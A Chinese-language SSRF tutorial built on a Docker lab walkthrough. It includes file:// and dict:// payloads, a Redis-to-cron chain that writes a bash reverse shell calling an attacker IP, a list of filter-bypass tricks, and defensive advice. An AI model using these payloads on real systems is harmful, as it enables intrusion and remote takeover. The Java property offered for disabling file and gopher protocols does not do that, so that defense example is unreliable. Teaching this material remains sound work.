[漏洞篇]SSRF漏洞详解
免责声明: 本文主要讲解漏洞原理,以及防御手段,旨在帮助大家更好的了解漏洞危害,以及开发中所需要的点,切勿拿来做违法事情,否则后果自负。
一、介绍
概念
SSRF:服务端请求伪造,意思就是伪造服务器对内网中的其他服务发起攻击(冒充服务器身份与其他服务器通信,获取敏感信息,shell等)。
SSRF (全称:Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击,这些应用包括但不限于 MySQL,Redis,SMTP 等等
与CSRF的区别及联系:
- SSRF:欺骗服务器“自己人”去干坏事。
- CSRF:欺骗浏览器“以你的名义”去干坏事。
危害
主要分为两个方向,SSRF 利用相关的危险函数;SSRF 可利用的协议操作
- 高危:可穿透内网边界,导致内网渗透、数据泄露、远程代码执行(RCE)等。
- 常见攻击场景:
- 读取服务器本地文件(如 /etc/passwd)
- 扫描内网服务(如: Redis、MySQL 未授权访问)
- 访问云服务元数据(如 AWS/Aliyun 的 IAM 凭证)
- 攻击内网应用(如 Jenkins、Kubernetes API)
- 作为跳板发起DDoS攻击
…
原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。
触发条件:
- 服务端存在从客户端获取URL参数的接口
- 服务端直接使用该URL发起网络请求(如 HTTP、FTP、FILE、DICT 协议)
- 未对URL协议、目标地址、路径做严格过滤
二、实战演示
靶场搭建
- docker拉取并运行容器
# 使用docker搭建SSRF靶场
docker run -d -p 8765:80 8023/pikachu-expect:latest
- 访问:http://localhost:8765/
- 初始化靶场:
- 点击安装/初始化:
实战
Pass01:SSRF(curl)
- 左侧导航栏选择SSRF(curl)
- 点击访问
这里将URL后面的127.0.0.1换成其他服务器IP也一样,只要是内网的服务IP
下面我们将针对CURL类型进行SSRF攻击:
1、通过网址访问链接
比如说修改url为:url=http://www.baidu.com,访问百度页面:
当然我们也可以通过此方式向内网中的其他服务发起GET请求。
2、利用file协议查看本地文件
修改url为:url=file:///etc/passwd,查看敏感文件的内容:
3、dict协议扫描内网主机开放端口
使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说内网主机开了http端口的话,可以修改url为:
url=dict://172.17.0.3:80
- dict协议 是一种字典协议,常用于探测内网主机和端口开放情况。它可以执行一些服务的命令,如Redis
如果页面未反显内容则表示未开放对应端口或被拦截:
Pass02:file_get_content
进入第二关,我们可以发现本关是通过file协议来进行数据的获取。因此我们可以利用file协议进行攻击。
1、file读取本地文件
修改file为:file=file://etc/passwd,查看文件的内容:
2、http协议请求内网资源
这里请求内网其他机器的资源,修改file为:file=http://172.17.0.3/hack.html,查看文件的内容:
这里的内网资源是本地又搭建了一个docker nginx,因为docker搭建的容器默认会有一个共同docker网卡,刚好可以模拟内网资源。
# docker搭建nginx
docker pull nginx
docker run -d -p 8888:80 nginx
#更新apt镜像
apt update
#安装ifconfig命令,方便查看ip地址
apt install net-tools
SSRF反弹Shell
①环境准备
- 准备一台服务器(docker搭建也可),安装并运行redis
- redis需要关闭保护模式等
##允许所有IP访问(关闭保护模式) bind 0.0.0.0 protected-mode no
- 准备一个攻击机器(我这里以我本地Mac为例),且与ssrf靶场和redis互通
- ssrf靶场(172.17.0.2)与redis(172.17.0.4)互通
②探测内网服务端口
根据常用端口进行探测,我这里以Redis 6379为例。可以看到下面页面返回
OK
,表示命令成功运行,表示ssrf靶场(172.17.0.2)可以与redis(172.17.0.4),处在同一个内网中。可以实施SSRF漏洞以反弹shell。
- 我这里的localhost:8765实际访问的是docker的ssrf靶场(172.17.0.2)
③通过cron实现反弹shell
- 本地mac(攻击机)执行命令,监听端口
nc -lv 7777
- 通过dict协议验证是否可以正常执行redis命令
首先我们通过redis ping命令,发现dict协议可以执行redis命令并正常返回结果。
- 通过redis 备份文件+cron表达式实现核心反弹逻辑
# 1 利用SSRF漏洞:
攻击者通过Web应用的SSRF漏洞,诱使服务器向内部Redis服务发送恶意请求。
# 2 攻击Redis服务:
Redis未设置密码,允许远程执行命令。
通过Redis的CONFIG SET命令修改持久化目录和文件名,指向Cron任务目录(如/var/spool/cron/root)。
# 3 写入反弹Shell命令到Cron任务文件
配置Cron定时任务每分钟执行一次。
# 4 Cron定时任务触发反弹Shell:
Cron服务读取恶意任务文件,定时执行反弹Shell命令。目标服务器主动连接攻击机,建立反向Shell会话。
# 设置要操作的路径为定时任务目录
dict://172.17.0.4:6379/config set dir /var/spool/cron/crontabs # 在定时任务目录下创建 root 的定时任务文件
dict://172.17.0.4:6379/config set dbfilename root # 写入 Bash 反弹 shell 的payload (10.35.16.14为攻击机IP),如果执行失败,则对下面redis命令进行urlencode
# dict://172.17.0.4:6379/set x "\n* * * * * /bin/bash -l -c '/bin/bash -i >& /dev/tcp/10.35.16.14/7777 0>&1'\n"
dict://172.17.0.4:6379/set+x+%22%5cn*+*+*+*+*+%2fbin%2fbash+-l+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f10.35.16.14%2f7777+0%3e%261%27%5cn%22+# 执行redis save备份数据命令,触发文件落地
dict://172.17.0.4:6379/save
拓展:
- 反弹shell:假设你是一个黑客,目标服务器是一栋有保安(防火墙)的大楼。你想进入大楼,但保安禁止外人进入(防火墙阻挡外部主动连接)。于是你在大楼内安装一个“自动拨号器”(反弹Shell脚本),让它定时打电话到你的手机(攻击机IP+端口),建立一条秘密通话通道(Shell连接)。这样,保安不会阻止大楼内部主动拨出的电话,你就能远程控制大楼了。
- 简单来说反弹shell:目标服务器主动连接攻击者的监听端口(绕过防火墙,常用于内网渗透)
- 查看Redis配置是否写入成功
- 查看cron定时任务文件是否写入成功:
- 等待cron定时任务运行(我上面配置的是每分钟执行一次),因此一分钟之后可以看到,反弹shell成功:
以root身份对服务器进行操作(创建文件,查看效果):
针对此情况,对应防御手段:
- Redis加固:设置强密码(requirepass)。
- 禁用高危命令( config set dir xxx)。
- 绑定IP(bind 127.0.0.1)。
- Cron防护:限制Cron任务目录权限(chmod 600 /var/spool/cron/*)。使用cron.allow和cron.deny控制用户权限。
- SSRF防御:禁用危险协议(allow_url_fopen=Off)。校验请求目标是否为合法域名/IP。
三、绕过手段
1.@符号绕过
在某地址1后添加@再次添加地址2,浏览器会自动返回地址2数据
http://www.xxx.com@www.baidu.com/
2.IP编码绕过
例如:120.26.86.156
二进制 = 1111000000110100101011010011100
十六进制 = 0x781A569C
十进制 = 2014992028
3. 转换短网址
例:
http://www.kxsy.work/ = http://www。kxsy。work/
localhost或者0.0.0.0
4. 302重定向跳转绕过
若传入的私网地址被限制可以使用302重定向绕过。这需要一台公网服务器和它的公网IP,在服务器中创建重定向的代码文件,提交公网IP路径下的重定向代码文件,使SSRF漏洞服务器或主机访问从而重定向到自己内网地址或本机地址。
- 通过构造一个外部可控的重定向服务,让服务器在第一次校验URL合法性后,通过HTTP 302状态码跳转至内网目标地址。由于部分SSRF防护仅校验初始请求的URL,而未跟踪后续跳转,从而绕过限制
5. xip.io绕过:会将解析到子域
利用xip.io等动态DNS服务,将域名解析到任意IP地址。例如,10.0.0.1.xip.io会自动解析到10.0.0.1,从而绕过基于黑名单的IP过滤机制
6. 利用Enclosed alphanumerics绕过
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
7. 其他协议绕过(Dict、Gopher等)
配合File、GOPHER等协议的对目标进行信息探测。
例如使用非http协议:
- gopher://:构造Redis未授权访问命令
- dict://:探测端口服务
四、防御手段
1、过滤返回的信息
- 禁止返回详细错误信息(如端口状态),避免信息泄露。
- 对响应内容进行安全检查,防止敏感数据外传。
2、自定义端口的错误页面,避免被区分
3、限制端口/IP请求
4、 限制协议等
// Java示例:禁用file、gopher协议
System.setProperty("jdk.http.auth.proxying.disabledSchemes", "file gopher");
5、URL白名单访问资源
6. 服务降权
以非root用户运行服务进程,使用容器隔离(如Docker)
相关文章:
https://xz.aliyun.com/news/7001
https://blog.csdn.net/web22050702/article/details/145682941
https://www.gbsec.top/